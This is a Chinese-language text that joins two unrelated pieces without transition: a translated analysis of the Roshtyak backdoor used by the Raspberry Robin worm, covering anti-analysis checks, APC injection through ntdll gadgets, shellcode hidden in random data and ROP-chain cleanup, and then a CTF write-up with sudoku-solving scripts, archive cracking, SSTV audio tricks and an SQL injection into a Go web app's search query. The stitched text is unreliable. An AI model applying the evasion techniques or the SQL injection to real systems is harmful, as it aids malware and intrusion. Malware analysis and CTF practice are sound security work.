Roshtyak 是Raspberry Robin 使用的DLL 後門,一種通過受感染的可移動驅動器傳播的蠕蟲,Raspberry Robin今年非常流行。

Red Canary 的研究人員於2022 年5 月發布了對Raspberry Robin 的首次分析。 6 月,賽門鐵克發布了一份報告,描述了一次挖礦/剪貼板劫持操作,據報導,這讓攻擊者至少賺了170萬美元。賽門鐵克沒有將惡意操作與Raspberry Robin 聯繫起來。儘管如此,根據我們的分析,其幕後組織是Raspberry Robin。該評估基於我們分析中觀察到的CC 重疊、以及很多與其他惡意軟件相似性。 Cybereason、微軟和思科在2022 年7 月/8 月發布了進一步的報告。微軟報告說,Raspberry Robin 感染導致了DEV-0243(又名Evil Corp)勒索行為。雖然我們無法確認此連接。儘管如此,我們仍然有理由相信挖礦軟件有效載荷並不是Raspberry Robin 感染被貨幣化的唯一方式。最近的其他報導也暗示了Raspberry Robin 和Evil Corp 之間可能存在的聯繫。

1.png

儘管發表瞭如此多的報導,但關於Raspberry Robin 仍有許多未知數。惡意軟件背後的最終目標是什麼?誰負責運營Raspberry Robin ?它是如何變得如此流行的?不幸的是,我們沒有所有這些問題的答案。但是,我們可以回答我們多次看到的一個重要問題:在高度混淆的DLL(或我們稱之為Roshtyak)中隱藏了哪些功能?為了回答這個問題,我們對Roshtyak 示例進行了完全逆向工程。

Roshtyak介紹Roshtyak 包含多達14 層保護層,每層都經過高度混淆並服務於特定目的。一些工件表明這些層最初是PE 文件,但被轉換為只有以前的層知道如何解密和加載的自定義加密結構。許多反調試器、反沙盒、反虛擬機和反仿真器檢查遍布各個層。如果其中一項檢查成功檢測到分析環境,那麼將採取四個操作中的一個。

惡意軟件調用自己的TerminateProcess,以避免顯示任何進一步的惡意行為,並保持後續層的加密。

Roshtyak是故意撞車的。這與終止自身俱有相同的效果,但由於Roshtyak的混淆特性,可能無法立即清楚崩潰是有意的還是因為一個漏洞。

惡意軟件故意進入無限循環。由於循環本身位於混淆代碼中並且跨越數千條指令,因此可能很難確定循環是否在為攻擊做準備。

最有趣的情況是惡意軟件通過解包和加載虛假有效負載來繞過成功檢查,這發生在第八層,它加載了幾十個反分析檢查。每個檢查的結果都用於修改全局變量的值。在第8 層的數據段加密了兩個有效載荷。真正的第9 層和偽造的有效載荷,只有在執行所有檢查後,全局變量與預期值匹配時,才會解密真正的第九層。如果檢測到分析環境,則全局變量的值將與預期值不同,從而導致Roshtyak 解包並執行虛假有效負載。

2.png

Roshtyak 的混淆導致即使是相對簡單的函數也變得很大。如果想在合理的時間範圍內對其進行逆向工程,就需要一些自定義的反混淆工具。

虛假有效載荷是一個BroAssist(又名BrowserAssistant)廣告軟件示例。我們認為,這個虛假的有效載荷旨在誤導惡意軟件分析師認為該示例沒有實際情況那麼有趣。當逆向工程師專注於快速解包示例時,整個示例可能看起來“只是”一個混淆的廣告軟件(而且是一個非常古老的廣告軟件),這可能會導致分析師對深入挖掘失去興趣。事實證明,這些虛假的有效載荷惡作劇可能非常有效。從下面的屏幕截圖中可以看出,它欺騙了至少一名研究人員,該研究人員漏洞地將Raspberry Robin 蠕蟲歸因於虛假的BrowserAssistant 有效載荷。

3.png

這表明,鑑於Roshtyak 的設計和復雜性,犯這樣的漏洞是多麼容易。

複雜的混淆技巧現在讓我們直接詳細介紹Roshtyak 採用的一些有趣的規避技巧。

段寄存器在執行的早期,Roshtyak 更喜歡使用不需要調用任何導入函數的檢查。如果其中一項檢查成功,則示例可以安靜地退出,而不會生成任何可疑的API 調用。下面是Roshtyak 檢查gs 段寄存器行為的示例。該檢查被設計為隱形的,周圍的垃圾指令使其容易被忽視。

4.png

只有帶下劃線的指令是有用的

此檢查背後的第一個想法是檢測單個執行。在上面的代碼片段之前,cx 的值被初始化為2。在彈出ecx指令之後,Roshtyak檢查cx是否仍然等於2。這將是預期的行為,因為該值應該在正常情況下通過堆棧和gs 寄存器傳播。但是,單個事件會重置gs 選擇器的值,這會導致最後彈出一個不同的值到ecx 中。

但這項檢查還有更多內容。作為上述兩個push/pop 對的副作用,gs 的值暫時更改為2。在此檢查之後,Roshtyak 進入一個循環,計算迭代次數,直到gs 的值不再是2。 gs 選擇器在線程上下文切換後也會被重置,因此循環本質上是計算迭代次數,直到發生上下文切換。 Roshtyak 多次重複此過程,求出結果的平均值,並檢查它是否屬於裸機執行環境的合理範圍。如果示例在虛擬機管理程序或模擬器中運行,則平均迭代次數可能會超出此範圍,這使Roshtyak 能夠檢測到不需要的執行環境。

Roshtyak 還檢查cs 段寄存器的值是0x1b 還是0x23。此時,0x1b 是在原生x86 Windows 上運行時的預期值,而0x23 是在WoW64 中運行時的預期值。

通過隨機ntdll gadget注入APCRoshtyak從獨立的進程中執行一些功能。例如,當它與它的CC服務器通信時,它會生成一個新的看似無害的進程,如regsvr32.exe。通過使用共享段,它將通信模塊注入到新進程的地址空間中。被注入的模塊通過APC注入執行,使用的是NtQueueApcThreadEx。

有趣的是,ApcRoutine 參數(標記要安排執行的目標例程)並不指向注入模塊的入口點。相反,它指向ntdll 中看似隨機的地址。仔細一看,我們發現這個地址不是隨機選擇的,而是Roshtyak 掃描了ntdll 的代碼段來查找pop r32;retgadget(不包括pop,因為旋轉堆棧是不可取的),並隨機選擇一個作為ApcRoutine。

5.png

隨機彈出r32; ret gadget 用作APC 注入的入口點

查看ApcRoutine 的調用約定可以理解發生了什麼。 pop 指令使堆棧指針指向NtQueueApcThreadEx 的SystemArgument1 參數,因此ret 指令有效地跳轉到SystemArgument1 指向的任何位置。這意味著通過濫用這個gadget,Roshtyak 可以將SystemArgument1 作為APC 注入的入口點。這混淆了控制流並使NtQueueApcThreadEx 調用看起來更合法。如果有人掛鉤此函數並檢查ApcRoutine 參數,它指向ntdll 代碼段的事實可能足以讓他們相信該調用不是惡意的。

檢查組合寫入內存的讀/寫性能在接下來的檢查中,Roshtyak 分配一個帶有PAGE_WRITECOMBINE 標誌的大內存緩衝區。該標誌應該修改緩存行為以優化順序寫入性能,不過這是以讀取性能和可能的內存排序為代價的。 Roshtyak 使用它來檢測它是否在物理設備上運行。它進行了一項實驗,首先寫入分配的緩衝區,然後從分配的緩衝區中讀取,同時使用一個單獨的線程作為計數器來測量讀寫性能。該實驗重複32 次,只有在大多數情況下寫性能至少是讀性能的6倍時,才會通過檢查。如果檢查失敗,Roshtyak就會故意選擇漏洞的RC4密鑰,從而導致無法正確地解密下一層。

隱藏shellcode有趣的是,注入的shellcode 也被隱藏了。當Roshtyak 準備代碼注入時,它首先創建一個大段並將其作為PAGE_READWRITE 映射到當前進程中。然後,它用隨機數據填充該段,並將shellcode 放置在隨機數據內的隨機偏移處。由於shellcode 只是一個相對較小的加載器,後面跟著看起來是隨機的打包數據,所以整個段看起來像隨機數據。

6.png

共享區段內字節的直方圖。注意,它看起來幾乎是隨機的,最可疑的符號是空字節的輕微過度表示。

然後該段從當前進程中取消映射,並映射到目標進程中,在目標進程中使用上述APC 注入技巧執行該段。添加隨機數據是為了隱藏shellcode 的存在。僅從目標進程的內存轉儲來看,該段可能看起來充滿了隨機數據並且不包含任何有效的可執行代碼。即使有人懷疑該段中間某處的實際有效代碼,也不容易找到它的確切位置。

7.png

共享段中shellcode 的開始。可能很難確定確切的起始地址,因為它通常是從奇數bt指令開始的。

Ret2Kernel32Roshtyak特別注意清理自己的攻擊痕跡。每當不再需要某個字符串或某段內存時,Roshtyak 就會清除或釋放它,以試圖清除盡可能多的證據。 Roshtyak 的圖層也是如此。每當一層完成其工作時,它就會在將執行傳遞到下一層之前進行自我釋放。但是,該層不能簡單直接地自我釋放。如果它在當前正在執行的內存區域上調用VirtualFree,整個進程將會崩潰。

因此,Roshtyak 通過在層轉換期間執行的ROP 鏈來釋放層以避免此問題。當一個層即將退出時,它會在堆棧上構造一個ROP 鏈並返回其中。下面可以看到這樣一個ROP 鏈的示例。該鏈首先返回VirtualFree 和UnmapViewOfFile 以釋放上一層的內存。然後,它返回到下一層。下一層的返回地址設置為RtlExitUserThread,以保障執行安全。

8.png

一個簡單的ROP 鏈,由VirtualFree - UnmapViewOfFile - next layer - RtlExitUserThread 組成。

MulDiv漏洞MulDiv是一個由kernel32.dll導出的函數,它接受三個32位有符號整數作為參數。它將前兩個參數相乘,將乘法結果除以第三個參數,並返回最後的結果四捨五入到最接近的整數。雖然這可能看起來是一個足夠簡單的函數,但在微軟的實現中有一個古老的符號擴展漏洞。這個漏洞現在被認為是一個功能,可能永遠不會被修復。

Roshtyak 知道該漏洞並通過調用MulDiv(1,0x80000000,0x80000000) 來測試它的存在。在真實的Windows 設備上,這會觸發漏洞並且MulDiv 漏洞地返回2,即使正確的返回值應該是1,因為(1 * -2147483648)/-2147483648=1。這允許Roshtyak 檢測不復制漏洞的模擬器.例如,這成功檢測到Wine,有趣的是,它包含一個不同的漏洞,這使得上述調用返回0。

篡改存儲在堆棧中的返回地址還有一些用來混淆函數調用的技巧。如上一節所示,Roshtyak喜歡使用ret指令調用函數。下一個技巧與此類似,因為它也操作堆棧,因此可以使用ret 指令跳轉到所需的地址。

為了實現這一點,Roshtyak 掃描當前線程的堆棧,尋找指向前一層代碼段的指針,與其他層不同,這一層沒有使用ROP 鏈技巧釋放。它用它想要調用的地址替換所有這些指針。然後它讓代碼多次返回,直到ret 指令遇到一個被劫持的指針,將執行重定向到所需的地址。

一、MISC

1.sudoku_easy

简单的数独交互,几个小注意点,每次发送level之后sleep5秒才会返回题目

image-20230610185716309

将形如

---------------------

800103720

023840650

410006008

300001062

000052407

072060090

160000375

205019846

000030000

---------------------

转换成二维数组进行解数独,并将返回结果重新转换成多行字符串形式

def parse_input(input_list):

    board = []

 

    for row in input_list:

        nums = list(map(int, row))

        board.append(nums)

 

    return board

 

def format_output(board):

    formatted = ""

    for row in board:

        formatted += "".join(map(str, row)) + "\n"

    return formatted.strip()

一开始以为每次获得5分,要拿到120分,range了24次,一直出问题,后来发现获得分数是递增的,同时调试了一下发现拿到120分会返回一个getshell,因此修改一下range7次

最终脚本:

def find_empty(board):

    for row in range(9):

        for col in range(9):

            if board[row][col] == 0:

                return row, col

    return None

 

 

def is_valid(board, num, pos):

    row, col = pos

    for i in range(9):

        if board[row][i] == num and col != i:

            return False

        if board[i][col] == num and row != i:

            return False

 

    box_row = row // 3

    box_col = col // 3

 

    for i in range(box_row * 3, box_row * 3 + 3):

        for j in range(box_col * 3, box_col * 3 + 3):

            if board[i][j] == num and (i, j) != pos:

                return False

 

    return True

 

 

def solve(board):

    find = find_empty(board)

    if not find:

        return True

    else:

        row, col = find

 

    for i in range(1, 10):

        if is_valid(board, i, (row, col)):

            board[row][col] = i

 

            if solve(board):

                return True

 

            board[row][col] = 0

 

    return False

 

def parse_input(input_list):

    board = []

 

    for row in input_list:

        nums = list(map(int, row))

        board.append(nums)

 

    return board

 

def format_output(board):

    formatted = ""

    for row in board:

        formatted += "".join(map(str, row)) + "\n"

    return formatted.strip()

 

# input_string = '''---------------------

# 800103720

# 023840650

# 410006008

# 300001062

# 000052407

# 072060090

# 160000375

# 205019846

# 000030000

# ---------------------

# now give me you solve:'''

 

# lists=input_string.split('\n')[1:10]

# board = parse_input(lists)

# print(board)

# solve(board)

# print(board)

 

from pwn import *

 

# 创建连接

conn = remote('47.108.165.60',27539)

 

# 接收欢迎信息

for i in range(7):

    msg = conn.recvuntil("Please input:").strip().decode("utf-8")

    print(msg)

    # 发送选择

    conn.sendline('1'.encode())

 

    # 接收下一步提示

    msg = conn.recvuntil("Please select the level:").strip().decode("utf-8")

    print(msg)

 

    conn.sendline('5'.encode())

 

    msg = conn.recvuntil("clock start").strip().decode("utf-8")

    print(msg)

    time.sleep(5)

 

    msg = conn.recvuntil("now give me you solve:").strip().decode("utf-8")

    print(msg)

    lists = msg.split('\n')[1:10]

    board = parse_input(lists)

    solve(board)

    solved = format_output(board)

    conn.sendline(solved.encode())

 

conn.interactive()

或者

 

from pwn import *


def is_valid(board, row, col, num):
    # 检查行是否合法
    for i in range(9):
        if board[row][i] == num:
            return False

    # 检查列是否合法
    for i in range(9):
        if board[i][col] == num:
            return False

    # 检查小九宫格是否合法
    start_row = (row // 3) * 3
    start_col = (col // 3) * 3
    for i in range(3):
        for j in range(3):
            if board[start_row + i][start_col + j] == num:
                return False

    return True


def solve_sudoku(board):
    for row in range(9):
        for col in range(9):
            if board[row][col] == 0:
                for num in range(1, 10):
                    if is_valid(board, row, col, num):
                        board[row][col] = num
                        if solve_sudoku(board):
                            return True
                        board[row][col] = 0  # 回溯
                return False  # 所有数字都尝试过,没有找到合适的数字
    return True


def print_sudoku(board):
    a = ''
    for row in range(9):
        for col in range(9):
            a += str(board[row][col])
        a+='\n'
    return a.strip()



context.log_level = 'debug'

p = remote('47.108.165.60',23479)

p.recv()

for i in range(7):
    p.sendline('1')

    p.recvuntil('Please select the level:')

    p.sendline('5')

    a = '---------------------\nnow give me you solve:'
    content = p.recvuntil(a).decode().split(a)[0][-130:]

    sudoku = content.split('---------------------')[1]

    sudoku = sudoku.strip()
    sudoku = sudoku.split('\n')
    tmp = []
    for sudo in sudoku:
        a = [int(s) for s in sudo]
        tmp.append(a)

    if solve_sudoku(tmp):
        result = print_sudoku(tmp)
        log.info(result)
        for line in result.split('\n'):
            p.send(line)
    #content = p.recv().decode()
p.interactive()

单独的数独解密脚本:
class SudoKu():
    def __init__(self, sudo_ku_data):
        if not isinstance(sudo_ku_data, list):
            raise TypeError(f'sudo_ku_data params must a list, but {sudo_ku_data} is a {type(sudo_ku_data)}')

        if len(sudo_ku_data) != 9 or len(sudo_ku_data[0]) != 9:
            raise TypeError(
                f'sudo_ku_data params must a 9*9 list, but {sudo_ku_data} is a {len(sudo_ku_data)}*{len(sudo_ku_data[0])} list')

        self.sudo_ku = sudo_ku_data
        # 存放每一行已有的数据
        self.every_row_data = {}
        # 每一列已有的数字
        self.every_column_data = {}
        # 每一个3*3有的数字
        self.every_three_to_three_data = {}
        # 每一个空缺的位置
        self.vacant_position = []
        # 每一个空缺位置尝试了的数字
        self.every_vacant_position_tried_values = {}

        # 初始化数据
        self._init()

    def _add_row_data(self, row, value):
        '''
        初始化的时候
        添加数据到self.every_row_data中
        :param row:
        :param value:
        :return:
        '''
        if row not in self.every_row_data:
            self.every_row_data[row] = set()

        if value in self.every_row_data[row]:
            raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu')

        self.every_row_data[row].add(value)

    def _add_column_data(self, column, value):
        '''
        初始化的时候
        添加数据到self.every_column_data中
        :param column:
        :param value:
        :return:
        '''
        if column not in self.every_column_data:
            self.every_column_data[column] = set()

        if value in self.every_column_data[column]:
            raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu')

        self.every_column_data[column].add(value)

    def _get_three_to_three_key(self, row, column):
        '''
        得到每一个3*3的key
        :param row:
        :param column:
        :return:
        '''
        if row in [0, 1, 2]:
            if column in [0, 1, 2]:
                key = 1
            elif column in [3, 4, 5]:
                key = 2
            else:
                key = 3
        elif row in [3, 4, 5]:
            if column in [0, 1, 2]:
                key = 4
            elif column in [3, 4, 5]:
                key = 5
            else:
                key = 6
        else:
            if column in [0, 1, 2]:
                key = 7
            elif column in [3, 4, 5]:
                key = 8
            else:
                key = 9

        return key

    def _add_three_to_three_data(self, row, column, value):
        '''
        初始化的时候
        添加数据到self.every_three_to_three_data中
        :param row:
        :param column:
        :param value:
        :return:
        '''
        key = self._get_three_to_three_key(row, column)

        if key not in self.every_three_to_three_data:
            self.every_three_to_three_data[key] = set()

        self.every_three_to_three_data[key].add(value)

    def _init(self):
        '''
        根据传入的数独,初始化数据
        :return:
        '''
        for row, row_datas in enumerate(self.sudo_ku):
            for column, value in enumerate(row_datas):
                if value == '':
                    self.vacant_position.append((row, column))
                else:
                    self._add_row_data(row, value)
                    self._add_column_data(column, value)
                    self._add_three_to_three_data(row, column, value)

    def _judge_value_is_legal(self, row, column, value):
        '''
        判断方放置的数据是否合法
        :param row:
        :param column:
        :param value:
        :return:
        '''

        # value是否存在这一行数据中
        if value in self.every_row_data[row]:
            return False
        # value是否存在这一列数据中
        if value in self.every_column_data[column]:
            return False

        # value是否存在这个3*3的宫内
        key = self._get_three_to_three_key(row, column)
        if value in self.every_three_to_three_data[key]:
            return False

        return True

    def _calculate(self, vacant_position):
        '''
        计算,开始对数独进行放置值
        :param vacant_position:
        :return:
        '''
        # 得到当前位置
        row, column = vacant_position
        values = set(range(1, 10))

        # 对当前为位置创建一个唯一key,用来存放当前位置已经尝试了的数据
        key = str(row) + str(column)
        # 如果这个key存在,就对values进行取差集,因为两个都是集合(set),直接使用-就行了
        if key in self.every_vacant_position_tried_values:
            values = values - self.every_vacant_position_tried_values[key]
        # 如果这个key不存在,就创建一个空的集合
        else:
            self.every_vacant_position_tried_values[key] = set()

        for value in values:
            # 对当前数据添加到当前位置尝试过的的数据中
            self.every_vacant_position_tried_values[key].add(value)
            # 如果当前value合法,可以放置
            if self._judge_value_is_legal(row, column, value):
                # print(f'set {vacant_position} value is {value}')
                # 更新 判断数据合法时 需要使用到的数据
                self.every_column_data[column].add(value)
                self.every_row_data[row].add(value)
                key = self._get_three_to_three_key(row, column)
                self.every_three_to_three_data[key].add(value)

                # 修改这个位置的值为value
                self.sudo_ku[row][column] = value
                # 返回True 和填充的 value
                return True, value

        return False, None

    def _backtrack(self, current_vacant_position, previous_vacant_position, previous_value):
        '''
        回溯
        :param current_vacant_position: 当前尝试失败的位置
        :param previous_vacant_position: 上一次成功的位置
        :param previous_value:上一次成功的值
        :return:
        '''
        # print(f"run backtracking... value is {previous_value},vacant position is {previous_vacant_position}")
        row, column = previous_vacant_position
        # 对上一次成功的值从需要用到的判断的数据中移除
        self.every_column_data[column].remove(previous_value)
        self.every_row_data[row].remove(previous_value)

        key = self._get_three_to_three_key(row, column)
        self.every_three_to_three_data[key].remove(previous_value)

        # 并且上一次改变的的值变回去
        self.sudo_ku[row][column] = ''

        # 对当前尝试失败的位置已经城市失败的的值进行删除,因为回溯了,所以下一次进来需要重新判断值
        current_row, current_column = current_vacant_position
        key = str(current_row) + str(current_column)
        self.every_vacant_position_tried_values.pop(key)

    def get_result(self):
        '''
        得到计算之后的数独
        :return:
        '''
        # 空缺位置的长度
        length = len(self.vacant_position)
        # 空缺位置的下标
        index = 0

        # 存放已经尝试了的数据
        tried_values = []
        # 如果index小于length,说明还没有计算完
        while index < length:
            # 得到一个空缺位置
            vacant_position = self.vacant_position[index]

            # 计入计算函数,返回是否成功,如果成功,value为成功 的值,如果失败,value为None
            is_success, value = self._calculate(vacant_position)
            # 如果成功,将value放在tried_values列表里面,因为列表是有序的.
            # index+1 对下一个位置进行尝试
            if is_success:
                tried_values.append(value)
                index += 1
            # 失败,进行回溯,并且index-1,返回上一次的空缺位置,我们需要传入当前失败的位置 和 上一次成功的位置和值
            else:
                self._backtrack(vacant_position, self.vacant_position[index - 1], tried_values.pop())
                index -= 1

            # 如果index<0 了 说明这个数独是无效的
            if index < 0:
                raise ValueError(f'{self.sudo_ku} is a invalid sudo ku')

        # 打印计算之后的数独
        self.show_sudo_ku()
        return self.sudo_ku

    def show_sudo_ku(self):
        '''
        显示数独
        :return:
        '''
        for row in self.sudo_ku:
            for b in row:
                print(str(b), end="")
            print()
            # print(row)    # 原本


##################################################
#  用来判断最后计算的数独是否合法,和计算没有关系     #
##################################################

def judge_value_is_legal(row, column, value, sudo_ku):
    # column
    for i in range(0, 9):
        if row == i:
            continue
        if value == sudo_ku[i][column]:
            return False

    # row
    for i in range(0, 9):
        if column == i:
            continue
        if value == sudo_ku[row][i]:
            return False

    # three_to_three
    for i in range(row // 3 * 3, row // 3 * 3 + 3):
        for j in range(column // 3 * 3, column // 3 * 3 + 3):
            if i == row and j == column:
                continue
            if value == sudo_ku[i][j]:
                return False

    return True


def judge_sudo_ku_is_legal(sudo_ku):
    for row, row_values in enumerate(sudo_ku):
        for column, value in enumerate(row_values):
            if not judge_value_is_legal(row, column, value, sudo_ku):
                return False
    return True


if __name__ == '__main__':
    data = """450706200
200000048
000408060
085290006
602003950
700600830
500040680
900300100
821065073"""
    sudo1 = data.split('\n')
    sudo_ku_data = [list(s) for s in sudo1]
    for i in sudo_ku_data:
        for b in range(len(i)):
            if i[b] != '0':
                i[b] = int(i[b])
            else:
                i[b] = ''

    # 得到计算好的数独
    sudo_ku = SudoKu(sudo_ku_data).get_result()

    # 判断最后生成的数独是否是有效的
    # print(judge_sudo_ku_is_legal(sudo_ku))



image-20230610190212900

 

2.烦人的压缩包

打开压缩包要密码,爆破密码645321

 

 

o4tr11d5s1413727.jpg  

 

 

jpg文件尾压缩包

image-20230610190322841

提取出来直接解压提示crc报错

 

修复压缩包的crc3twflacqnxh13731.png

 

解开后ook解密

 

y4wsfkmsn5n13732.png https://www.splitbrain.org/services/ook

 

image-20230610193746752

3.sudoku_speedrun

小小升级版数独,telnet交互:

kali :: ~ 127 » telnet 47.108.165.60 37569

Trying 47.108.165.60...

Connected to 47.108.165.60.

Escape character is '^]'.

 

Ubuntu 22.04.2 LTS

Welcome to Play Sudoku Game!

Play(1)

Exit(2)

Please input

> 1

 

Tips:

R to replay

Q to exit

WASD to move

You have 10000ms to solve it :)

Please select the level

easy(5)

normal(6)

hard(7)

>5

image-20230610193910056

这次需要解出之后通过移动光标将数独还原

其实大差不差,这里主要几个点

题目用了ANSI转义码,读取数据时会有大量的乱码,需要replace掉 response=response.replace(b'\x1b[7;32m',b'').replace(b'\x1b[0m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[H\x1b[2J',b'') 这里我为方便采用了在每一行右移填补到最后之后,往下再重新左移到最左边,再开始下一行的右移填补,而不是用左移填补导致需要倒着索引,略微增加了时间复杂度   def solve(input_string):     original_board = parse_input(input_string)# 创建原始数组的副本     board_copy = [row[:] for row in original_board]         solution = solve_sudoku(original_board)     # print(board_copy)     # print(solution)     lists=[]     for i in range(9):         for j in range(9):             if board_copy[i][j] == 0:                 lists.append(str(solution[i][j]))             if j != 8:                 lists.append('d')         lists.extend('saaaaaaaa')             # print(f"索引为 ({i}, {j}) 的位置,填入数字 {solution[i][j]}")     return lists   读取到形如

‘’’

-------------------------

| 4 3 0 | 0 0 6 | 2 0 0 |

| 8 0 0 | 0 7 0 | 0 0 3 |

| 2 0 7 | 0 5 0 | 1 4 6 |

-------------------------

| 0 0 0 | 0 0 0 | 0 7 5 |

| 7 5 0 | 8 0 0 | 6 2 0 |

| 0 2 9 | 7 3 5 | 0 1 0 |

-------------------------

| 5 6 0 | 4 0 3 | 0 9 0 |

| 0 0 2 | 5 0 0 | 8 0 0 |

| 3 0 1 | 0 8 2 | 0 6 4 |

-------------------------’’’

转二维数组

def parse_input(input_string):

    rows = input_string.strip().split('\n')

    board = []

 

    for row in rows:

        row = row.replace('-', '').replace('|', '').split()

        nums = [int(num) if num != '0' else 0 for num in row]

        if nums!=[]:

            board.append(nums)

 

    return board

  经过尝试后发现只要发送数组服务器便会执行移动与填充操作,例如发送[‘d’,‘d’,‘1’]光标会右移两个单位并填入1

最终脚本:

import telnetlib

def solve_sudoku(board):

    if is_complete(board):

        return board

 

    row, col = find_empty_cell(board)

    for num in range(1, 10):

        if is_valid(board, row, col, num):

            board[row][col] = num

            if solve_sudoku(board):

                return board

            board[row][col] = 0

 

    return None

 

def is_complete(board):

    for row in board:

        if 0 in row:

            return False

    return True

 

def find_empty_cell(board):

    for i in range(9):

        for j in range(9):

            if board[i][j] == 0:

                return i, j

    return None, None

 

def is_valid(board, row, col, num):

    # Check row

    if num in board[row]:

        return False

 

    # Check column

    for i in range(9):

        if board[i][col] == num:

            return False

 

    # Check 3x3 box

    box_row = (row // 3) * 3

    box_col = (col // 3) * 3

    for i in range(box_row, box_row + 3):

        for j in range(box_col, box_col + 3):

            if board[i][j] == num:

                return False

 

    return True

 

def parse_input(input_string):

    rows = input_string.strip().split('\n')

    board = []

 

    for row in rows:

        row = row.replace('-', '').replace('|', '').split()

        nums = [int(num) if num != '0' else 0 for num in row]

        if nums!=[]:

            board.append(nums)

 

    return board

 

def solve(input_string):

    original_board = parse_input(input_string)# 创建原始数组的副本

    board_copy = [row[:] for row in original_board]

 

 

    solution = solve_sudoku(original_board)

    # print(board_copy)

    # print(solution)

    lists = []

    for i in range(9):

        for j in range(9):

            if board_copy[i][j] == 0:

                lists.append(str(solution[i][j]))

            if j != 8:

                lists.append('d')

        lists.extend('saaaaaaaa')

            # print(f"索引为 ({i}, {j}) 的位置,填入数字 {solution[i][j]}")

    return lists

 

tn = telnetlib.Telnet('47.108.165.60',36697)

 

welcome_msg = tn.read_until(b"Please input")

print(welcome_msg.decode("utf-8"))

 

# 发送返回值到服务器

tn.write("1".encode("utf-8") + b"\n")

 

msg = tn.read_until(b"hard(7)")

print(msg.decode("utf-8"))

 

tn.write("5".encode("utf-8") + b"\n")

 

msg = ''

for i in range(15):

    response = tn.read_until(b"\n")

    # print((response))

    response = response.replace(b'\x1b[7;32m',b'').replace(b'\x1b[0m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[H\x1b[2J',b'')

    msg += response.decode().strip('> 5')

tn.write(str(solve(msg)).encode("utf-8") + b"\n")

tn.interact()

 

或者脚本:

def solve_sudoku(puzzle):
    # 辅助函数:检查数字num是否可以放置在指定位置(row, col)
    def is_valid(num, row, col):
        # 检查行
        for i in range(9):
            if puzzle[row][i] == num:
                return False

        # 检查列
        for i in range(9):
            if puzzle[i][col] == num:
                return False

        # 检查3x3方格
        start_row = (row // 3) * 3
        start_col = (col // 3) * 3
        for i in range(3):
            for j in range(3):
                if puzzle[start_row + i][start_col + j] == num:
                    return False

        return True

    # 辅助函数:回溯求解数独
    def backtrack():
        for row in range(9):
            for col in range(9):
                if puzzle[row][col] == 0:  # 找到一个空格
                    for num in range(1, 10):  # 尝试数字1-9
                        if is_valid(num, row, col):
                            puzzle[row][col] = num  # 填入数字
                            if backtrack():  # 递归求解
                                return True
                            puzzle[row][col] = 0  # 回溯,撤销选择
                    return False
        return True

    # 将输入的字符串转换成二维列表
    puzzle = [[int(puzzle[i * 9 + j]) for j in range(9)] for i in range(9)]

    # 调用回溯函数求解数独
    if backtrack():
        # 将二维列表转换回字符串
        solution = ''.join(str(puzzle[i][j]) for i in range(9) for j in range(9))
        return solution
    else:
        return "No solution found."


# # 输入数独题目
# puzzle_input = "002506008160080500000070601006030075325090164070620000207041800010807340850003019"
#
# # 解答数独题目
# solution = solve_sudoku(puzzle_input)
#
# # 输出结果
# print(solution)



from pwn import *
context.log_level="debug"
p = remote('47.108.165.60',32449)
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'> ')
p.sendline(b'7')
p.recv()
s = p.recv()
s = s.replace(b'\x1b[7;32m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[0m',b'').replace(b'\r\n',b'').replace(b'|',b'').replace(b' ',b'').replace(b'-',b'').replace(b'\x1b[H\x1b[2J',b'').decode()
# print(s)
solution = solve_sudoku(s)
# print(solution)
flag = ''
for i in range(9):
    for j in range(9):
        if(s[i*9+j] != '0'):
            flag += 'd'
        else:
            flag += solution[i*9+j]
            flag += 'd'
    flag = flag[:-1]
    flag += 'saaaaaaaa'
print(flag)
flag = flag.encode()
p.sendline(flag)
r = p.recvall(100000)
print(r.decode())
print(s)
print(solution)

 

xdxkysuqcwt13736.jpg  

 

4.cancellation

题目得到noise.mp4,意外的发现用windows media player播放可以读到一串sstv

image-20230610200317154

结合file用Matroska打包猜测应该是mkv文件

image-20230610200410070

用mkvtool发现确实有多个音频轨道

image-20230610200535476

mkvextract.exe提取出来两个音频(轨道是从0开始的,mkvtool里的轨道编号从1开始的)

image-20230610201638810

轨道3可以读到一张图

image-20230610200931537

轨道2可以读到一个模糊无法识别的二维码,仔细观察可以发现背景图似乎就是轨道3读到的图

image-20230610201035296

在测试过程中发现在一定位置挂上notch之后,可以读到很清晰的后半边的二维码,左半边变得更加模糊了,但却更加清晰的显示出背景图,明显就是轨道3的图

image-20230610201214671

再结合题目名,大胆猜测轨道2的sstv做了一个叠加处理,尝试几次后2*轨道2-轨道3可以扫描出正确的图像(这里放完整二维码图片会被csdnban掉)

import librosa

import soundfile as sf

import numpy as np

 

audio1, sr1 = librosa.load('2.wav', sr=None)

audio2, sr2 = librosa.load('3.wav', sr=None)

 

result =  2*audio1-audio2

sf.write('result.wav', result, sr1)

 

或者脚本:

from scipy.io import wavfile
import numpy as np

# 加载两个音频文件
rate1, audio1 = wavfile.read('output1.wav')
rate2, audio2 = wavfile.read('output2.wav')

# 确保两个音频的采样率相同,如果不同,进行重新采样
if rate1 != rate2:
    # 重新采样audio2为与audio1相同的采样率
    audio2 = np.interp(np.linspace(0, len(audio2), len(audio1)), np.arange(len(audio2)), audio2).astype(audio1.dtype)

# 确保两个音频的长度相同,如果不同,进行裁剪或填充
length = min(len(audio1), len(audio2))
audio1 = audio1[:length]
audio2 = audio2[:length]

# 音频相减
result = audio1 - audio2//2

# 保存为新的音频文件
wavfile.write('output_diff.wav', rate1, result)

 

 

image-20230610215510870

扫描的结果解base64得到图片

image-20230610202014820

拿到flag

二、web

1.go题目

注册用户登录进去 jcva3pvlzvx13749.png

 

categories这里随便加一个

 

phou1rm31df13750.jpg

 

新建一个task 放到里面

 

uqxnmtbnkpy13752.jpg

 

然后在search那里注入,这里解释下为什么会这样

stmt := "select t.id, title, content, created_date, priority, c.name from task t, category c where t.user_id=? and c.id = t.cat_id and (title like '%" + query + "%' or content like '%" + query + "%'order by created_date desc"

这里是直接query没任何限制,直接注入就行了,但是调试的时候没添加priority这个字段,导致查询一直错误,没调试出来真的可惜。

 

o11jubnfbuc13754.jpg

 

然后到这里就很明了构造闭合,直接去查询数据。

 

vlh5fw5p25s13755.jpg

 

